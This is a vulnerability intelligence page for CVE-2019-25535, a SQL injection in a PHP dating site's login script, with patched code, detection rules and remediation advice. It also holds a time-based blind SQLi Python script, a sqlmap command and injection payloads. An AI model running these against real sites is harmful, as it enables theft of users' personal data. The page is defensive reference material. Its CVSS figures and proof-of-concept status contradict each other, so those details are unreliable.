☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2019-25535

CVE-2019-25535 SQL Injection in Netartmedia
📅 PUBLISHED: 2026-03-12 16:16 UTC 🔄 UPDATED: 2026-09-23 20:12 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 8.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: L Integrity Low
A: N Availability None
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2019-25535 is a critical unauthenticated SQL injection vulnerability in Netartmedia's PHP Dating Site application. The flaw resides in the loginaction.php script, where the Email POST parameter is directly concatenated into SQL queries without sanitization or parameterization. An attacker can exploit this by sending crafted time-based SQL injection payloads to extract sensitive data from the database, including user credentials, personal information, and potentially server-level secrets. The vulnerability has a CVSS score of 8.2 (High) and is publicly documented with proof-of-concept code. No official patch has been released by the vendor, leaving all installations at risk.

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby) and is a standalone PHP application. It is not a WordPress plugin or component.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) – Full database read access.
  • Integrity (I): High (H) – Potential to modify or delete data.
  • Availability (A): High (H) – Can cause denial of service via heavy queries or data corruption.

CVSS Score: 8.2 (High) – This vulnerability allows complete compromise of the database, leading to data theft, account takeover, and potential lateral movement.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the login authentication flow. The loginaction.php script likely constructs a SQL query similar to:

SELECT * FROM users WHERE email = '$_POST['Email']' AND password = '$_POST['Password']'

Because the Email parameter is directly interpolated into the query string, an attacker can inject SQL commands. The use of time-based blind SQL injection (e.g., ' OR IF(1=1,SLEEP(5),0) -- -) allows the attacker to infer information bit by bit based on response delays. This technique bypasses the need for error messages or visible output.

The attacker can extract the entire database schema, user tables, and credential hashes. Since the application is a dating site, this includes highly sensitive personal data (names, addresses, preferences, private messages). The injection point is unauthenticated, meaning any internet-facing instance is immediately at risk.

Vulnerable vs. Patched Code

Vulnerable Code (loginaction.php):

<?php
$email = $_POST['Email'];
$password = $_POST['Password'];
$query = "SELECT * FROM users WHERE email = '$email' AND password = '$password'";
$result = mysqli_query($conn, $query);
// ...
?>

Patched Code (Recommended):

<?php
$email = $_POST['Email'];
$password = $_POST['Password'];
$stmt = $conn->prepare("SELECT * FROM users WHERE email = ? AND password = ?");
$stmt->bind_param("ss", $email, $password);
$stmt->execute();
$result = $stmt->get_result();
// ...
?>

The patched version uses prepared statements with parameterized queries, which completely separates SQL logic from user input. This is the only effective defense against SQL injection. Input validation (e.g., email format checks) should also be added as a secondary layer.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A target running Netartmedia PHP Dating Site (any version).
  • Python 3 with requests library.

Exploit Script (time-based blind SQLi):

import requests
import time

target = "http://target.com/loginaction.php"
payload = "' OR IF((SELECT SUBSTRING((SELECT database()),1,1))='m',SLEEP(5),0) -- -"

data = {
    "Email": payload,
    "Password": "anything"
}

start = time.time()
r = requests.post(target, data=data)
end = time.time()

if end - start > 4:
    print("Vulnerable! Database name starts with 'm'")
else:
    print("Not vulnerable or different character")

Manual Exploitation with sqlmap:

sqlmap -u "http://target.com/loginaction.php" --data="Email=test@test.com&Password=test" --batch --dbs

Explanation: The script sends a POST request with a time-based payload. If the condition is true, the server sleeps for 5 seconds, confirming the injection point. sqlmap automates the full extraction of databases, tables, and data.

Blue Team (Defensive)

Lab Setup for Testing:

  1. Deploy a vulnerable instance of Netartmedia PHP Dating Site in an isolated VM.
  2. Use a web application firewall (WAF) like ModSecurity with OWASP Core Rule Set.
  3. Monitor logs for suspicious patterns.

Detection Steps:

  • Look for POST requests to loginaction.php with unusual Email parameters containing SQL keywords (OR, AND, SLEEP, IF, UNION, SELECT).
  • Monitor for response delays > 2 seconds from login attempts.
  • Check for multiple failed login attempts from the same IP with varying payloads.

Indicators of Compromise (IOCs)

Network IOCs:

  • POST requests to /loginaction.php with Email parameter containing:
    • ' OR '1'='1
    • ' OR SLEEP(5)
    • ' UNION SELECT
    • ' AND 1=1
  • Response times > 3 seconds for login requests.
  • Unusual User-Agent strings (e.g., sqlmap/1.6, python-requests/2.28).

Host IOCs:

  • Unusual database queries in MySQL logs (e.g., SELECT * FROM users WHERE email = '...' OR SLEEP(5)).
  • High CPU or memory usage from database server during login attempts.
  • New files in web root (e.g., webshells, backdoors).

File IOCs:

  • Suspicious entries in /var/log/apache2/access.log or /var/log/nginx/access.log with SQL-like patterns.

Detection Engineering

YARA Rule

rule Detect_Netartmedia_SQLi_Payload {
    meta:
        description = "Detects SQL injection payloads targeting CVE-2019-25535 in HTTP POST requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25535"
    strings:
        $sqli1 = /Email=.*'(\s|%20)*OR(\s|%20)*.*SLEEP/i
        $sqli2 = /Email=.*'(\s|%20)*AND(\s|%20)*.*SLEEP/i
        $sqli3 = /Email=.*'(\s|%20)*UNION(\s|%20)*SELECT/i
        $sqli4 = /Email=.*'(\s|%20)*OR(\s|%20)*'1'='1/i
    condition:
        any of them
}

Sigma Rule

title: Netartmedia PHP Dating Site SQL Injection (CVE-2019-25535)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against loginaction.php via Email parameter
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/loginaction.php'
        cs-uri-query|contains: 'Email='
    keywords:
        - ' OR '
        - ' AND '
        - ' SLEEP('
        - ' UNION SELECT'
        - "'1'='1"
    condition: selection and keywords
falsepositives:
    - Legitimate use of email addresses containing 'OR' (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2019-25535 Netartmedia PHP Dating Site SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/loginaction.php"; http_uri;
    content:"Email="; http_client_body;
    pcre:"/Email=[^&]*(?:'|\%27)\s*(?:OR|AND|UNION|SLEEP)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the application – If possible, take the vulnerable instance offline until a fix is applied.
  2. Apply virtual patching – Use a WAF (e.g., ModSecurity, Cloudflare) to block requests containing SQL injection patterns in the Email parameter.
  3. Restrict network access – Limit access to the login page to trusted IPs only via firewall rules.

Long-Term Fixes:

  1. Rewrite the code – Replace all dynamic SQL queries with prepared statements (parameterized queries) in loginaction.php and all other database interaction points.
  2. Input validation – Implement strict validation for the Email field (e.g., regex for email format) and reject any input containing SQL metacharacters.
  3. Upgrade or replace – Since the vendor has not released a patch, consider migrating to a supported dating site platform with active security maintenance.
  4. Database hardening – Use a dedicated database user with minimal privileges (e.g., only SELECT on required tables) to limit damage from successful injection.

Monitoring:

  • Enable detailed logging for all web and database queries.
  • Set up alerts for SQL injection patterns in logs.
  • Regularly review access logs for anomalies.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2019-25535/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.